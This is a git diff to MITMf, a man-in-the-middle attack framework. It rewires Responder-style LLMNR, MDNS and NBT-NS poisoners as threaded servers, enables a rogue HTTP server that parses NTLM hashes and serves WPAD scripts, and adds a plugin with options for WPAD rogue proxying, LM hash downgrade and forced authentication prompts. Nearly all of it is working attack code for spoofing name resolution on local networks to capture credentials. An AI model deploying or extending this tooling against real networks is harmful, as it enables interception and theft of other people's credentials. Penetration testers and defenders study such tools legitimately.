diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py index 930593e..50f0754 100644 --- a/core/poisoners/LLMNR.py +++ b/core/poisoners/LLMNR.py @@ -16,79 +16,111 @@ # along with this program. If not, see . import socket import struct -import core.responder.settings -import core.responder.fingerprint +import core.responder.settings as settings +import core.responder.fingerprint as fingerprint +import threading -from core.reponder.packets import LLMNR_Ans +from traceback import print_exc +from core.responder.packets import LLMNR_Ans from core.responder.odict import OrderedDict -from SocketServer import BaseRequestHandler +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * +class LLMNR: + + def start(self): + try: + server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) + t = threading.Thread(name='LLMNR', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LLMNR server on port 5355" + print_exc() + +class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + MADDR = "224.0.0.252" + + self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) + + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) - else: - pass + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + else: + pass if settings.Config.AnalyzeMode: - IsICMPRedirectPlausible(settings.Config.Bind_To) + IsICMPRedirectPlausible(settings.Config.Bind_To) # LLMNR Server class class LLMNRServer(BaseRequestHandler): - def handle(self): - data, soc = self.request - Name = Parse_LLMNR_Name(data) + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: - return None + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None - if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - else: - Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None - # Analyze Mode - if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - # Poisoning Mode - else: - Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) - Buffer.calculate() - soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) - if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py index 959ac43..a81ef6e 100644 --- a/core/poisoners/MDNS.py +++ b/core/poisoners/MDNS.py @@ -15,12 +15,45 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -import settings +import core.responder.settings as settings import socket +import threading -from SocketServer import BaseRequestHandler -from packets import MDNS_Ans -from utils import * +from traceback import print_exc +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer +from core.responder.packets import MDNS_Ans +from core.responder.utils import * + +class MDNS: + + def start(self): + try: + server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) + t = threading.Thread(name='MDNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MDNS server on port 5353" + print_exc() + +class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + MADDR = "224.0.0.251" + + self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) + + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def Parse_MDNS_Name(data): data = data[12:] @@ -35,7 +68,7 @@ def Poisoned_MDNS_Name(data): Name = data[:len(data)-5] return Name -class MDNS(BaseRequestHandler): +class MDNSServer(BaseRequestHandler): def handle(self): diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py index 0d550ec..652ca42 100644 --- a/core/poisoners/NBTNS.py +++ b/core/poisoners/NBTNS.py @@ -15,12 +15,38 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import socket -import settings -import fingerprint +import threading +import core.responder.settings as settings +import core.responder.fingerprint as fingerprint -from packets import NBT_Ans -from SocketServer import BaseRequestHandler -from utils import * +from traceback import print_exc +from core.responder.packets import NBT_Ans +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer +from core.responder.utils import * + +class NBTNS: + + def start(self): + try: + server = ThreadingUDPServer(('', 137), NBTNSServer) + t = threading.Thread(name='NBTNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting NBTNS server on port 137" + print_exec() + +class ThreadingUDPServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) # Define what are we answering to. def Validate_NBT_NS(data): @@ -42,7 +68,7 @@ def Validate_NBT_NS(data): return False # NBT_NS Server class. -class NBTNS(BaseRequestHandler): +class NBTNSServer(BaseRequestHandler): def handle(self): diff --git a/core/responder/settings.py b/core/responder/settings.py index 1e25708..2d9b51a 100644 --- a/core/responder/settings.py +++ b/core/responder/settings.py @@ -136,21 +136,17 @@ class Settings(ConfigWatcher): # CLI options self.Interface = options.interface + self.Force_WPAD_Auth = options.forcewpadauth + self.LM_On_Off = options.lm + self.WPAD_On_Off = options.wpad + self.Wredirect = options.wredir + self.NBTNSDomain = options.nbtns + self.Basic = options.basic + self.Finger_On_Off = options.finger + self.AnalyzeMode = options.analyze + #self.Upstream_Proxy = options.Upstream_Proxy - try: - self.LM_On_Off = options.LM_On_Off - self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect - self.NBTNSDomain = options.NBTNSDomain - self.Basic = options.Basic - self.Finger_On_Off = options.Finger - self.Force_WPAD_Auth = options.Force_WPAD_Auth - self.Upstream_Proxy = options.Upstream_Proxy - self.AnalyzeMode = options.Analyze - except AttributeError: - pass - - self.Verbose = False + self.Verbose = True self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index 6a71471..ade76cf 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -16,7 +16,9 @@ # along with this program. If not, see . import os import struct -import core.responder.settings +import core.responder.settings as settings +import threading +from traceback import print_exc from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from base64 import b64decode, b64encode @@ -26,6 +28,34 @@ from core.responder.packets import NTLM_Challenge from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile +class HTTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1) + else: + server = ThreadingTCPServer(('', 80), HTTP1) + + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + + except Exception as e: + print "Error starting HTTP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # Parse NTLMv1/v2 hash. def ParseHTTPHash(data, client): @@ -222,13 +252,14 @@ def PacketSequence(data, client): return str(Response) # HTTP Server class -class HTTP(BaseRequestHandler): +class HTTP1(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) + GrabURL(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: diff --git a/mitmf.py b/mitmf.py index cc4bb5b..a6b3482 100755 --- a/mitmf.py +++ b/mitmf.py @@ -91,7 +91,6 @@ strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) -reactor.listenTCP(3141, strippingFactory) ProxyPlugins().all_plugins = plugins @@ -141,9 +140,9 @@ NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server -#from core.servers.HTTP import HTTP -#HTTPserver().start() -#print "|_ HTTP server online" +from core.servers.HTTP import HTTP +HTTP().start() +print "|_ HTTP server online" #Start DNSChef from core.servers.DNS import DNSChef diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..73a01db --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import flask + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + # Load (M)DNS, NBNS and LLMNR Poisoners + from core.poisoners.LLMNR import LLMNR + from core.poisoners.MDNS import MDNS + from core.poisoners.NBTNS import NBTNS + LLMNR().start() + MDNS().start() + NBTNS().start() + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") + options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + options.add_argument('--basic', dest="basic", action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index 9a7f783..cd69328 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -34,8 +34,8 @@ class ScreenShotter(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) - self.js_payload = self.get_payload() self.interval = options.interval + self.js_payload = self.get_payload() def request(self, request): if 'saveshot' in request.uri: